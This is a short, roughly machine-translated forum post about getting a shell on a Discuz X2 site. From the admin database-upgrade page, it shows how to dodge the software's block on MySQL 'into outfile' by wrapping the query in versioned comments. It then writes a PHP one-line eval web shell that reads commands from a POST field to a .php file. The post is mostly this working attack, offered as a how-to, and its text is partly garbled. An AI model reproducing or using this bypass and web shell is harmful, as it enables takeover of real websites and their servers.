Discuz X2 getshell

Recently, I helped my friends read a website, DZx2, And the founder was unable to get the getshell Baidu fruitless, and I set up a local 1, when mysql is root, the webmaster --- database --- upgrade and try to select '1' into outfile' E: \ 2.txt 'will prompt [Type] Query statement security threats [Query] select '1' into outfile 'e: \ 2.txt'. Why? \ Config \ config_global.php limits the into outfile function to try to bypass www.2cto.com /*! Select */'1 '/*! Into outfile */'e: \ 3.txt 'Discuz! The data structure has been upgraded successfully. The number of affected records is 1. If you want to export one sentence, that is /*! Select */'<? Php @ eval ($ _ POST [cmd]);?> '/*! Into outfile */'e: \ 3. php' Note: Do not enclose a single password with quotation marks.